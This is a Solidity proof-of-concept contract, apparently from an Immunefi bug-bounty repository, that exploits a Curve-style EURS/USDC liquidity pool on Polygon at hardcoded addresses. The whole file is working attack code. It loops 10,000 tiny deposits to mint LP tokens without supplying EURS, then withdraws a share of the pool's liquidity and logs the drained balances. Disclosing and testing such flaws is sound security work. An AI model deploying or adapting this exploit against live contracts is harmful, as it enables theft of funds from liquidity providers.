-
Notifications
You must be signed in to change notification settings - Fork 16
/
AttackContract.sol
89 lines (65 loc) · 3.73 KB
/
AttackContract.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "@immunefi/tokens/Tokens.sol";
import "./external/ICurve.sol";
contract AttackContract is Tokens {
ICurve constant curve_pool = ICurve(0x2385D7aB31F5a470B1723675846cb074988531da);
IERC20 constant EURS = IERC20(0xE111178A87A3BFf0c8d18DECBa5798827539Ae99);
function initiateAttack() external {
console.log("\n>>> Initiate attack\n");
// Deal tokens to attacker
console.log("> Deal 100 EURS and 100 USDC to attacker");
deal(PolygonTokens.USDC, address(this), 100 * 1e6);
deal(EURS, address(this), 100 * 1e2);
uint256 attacker_euro_balance = EURS.balanceOf(address(this));
uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this));
console.log("EURO balance of attacker:", attacker_euro_balance);
console.log("USDC balance of attacker:", attacker_usdc_balance);
uint256 curve_euro_balance = EURS.balanceOf(address(curve_pool));
uint256 curve_usdc_balance = PolygonTokens.USDC.balanceOf(address(curve_pool));
console.log("EURO balance of Curve pool:", curve_euro_balance);
console.log("USDC balance of Curve pool:", curve_usdc_balance);
// Execute attack multiple times to drain pool
_executeAttack();
}
function _executeAttack() internal {
console.log("\n>>> Execute attack\n");
// Approve curve pool to use funds
PolygonTokens.USDC.approve(address(curve_pool), PolygonTokens.USDC.balanceOf(address(this)));
// EURS approval is not needed since calculated amount to deposit is 0
// EURS.approve(address(curve_pool), EURS.balanceOf(address(this)));
uint256 deposit = 18003307228925150;
uint256 minQuoteAmount = 0;
uint256 minBaseAmount = 0;
uint256 maxQuoteAmount = 2852783032400000000000;
uint256 maxBaseAmount = 7992005633260983540235600000000;
uint256 deadline = 1676706352308;
// Deposit small amount in a loop 10,000 times to gain curve LP tokens without depositing EURS
// If gas price is 231 wei = 0.000000231651787155 => Gas = 161 matic
console.log("> Deposit small amount to curve pool 10,000 times");
for (uint256 i = 0; i < 10000; i++) {
curve_pool.deposit(deposit, minQuoteAmount, minBaseAmount, maxQuoteAmount, maxBaseAmount, deadline);
}
uint256 attacker_euro_balance = EURS.balanceOf(address(this));
uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this));
console.log("EURO balance of attacker:", attacker_euro_balance);
console.log("USDC balance of attacker:", attacker_usdc_balance);
console.log("> Withdraw curve pool LP tokens");
uint256 curvesToBurn = curve_pool.balanceOf(address(this));
console.log("CURVE balance of attacker:", curvesToBurn);
// Withdraw curve LP tokens to receive proportion of liquidity in pool of EURS and USDC
curve_pool.withdraw(curvesToBurn, deadline);
_completeAttack();
}
function _completeAttack() internal {
console.log("\n>>> Attack complete\n");
uint256 attacker_euro_balance = EURS.balanceOf(address(this));
uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this));
console.log("EURO balance of attacker:", attacker_euro_balance);
console.log("USDC balance of attacker:", attacker_usdc_balance);
uint256 curve_euro_balance = EURS.balanceOf(address(curve_pool));
uint256 curve_usdc_balance = PolygonTokens.USDC.balanceOf(address(curve_pool));
console.log("EURO balance of Curve pool:", curve_euro_balance);
console.log("USDC balance of Curve pool:", curve_usdc_balance);
}
}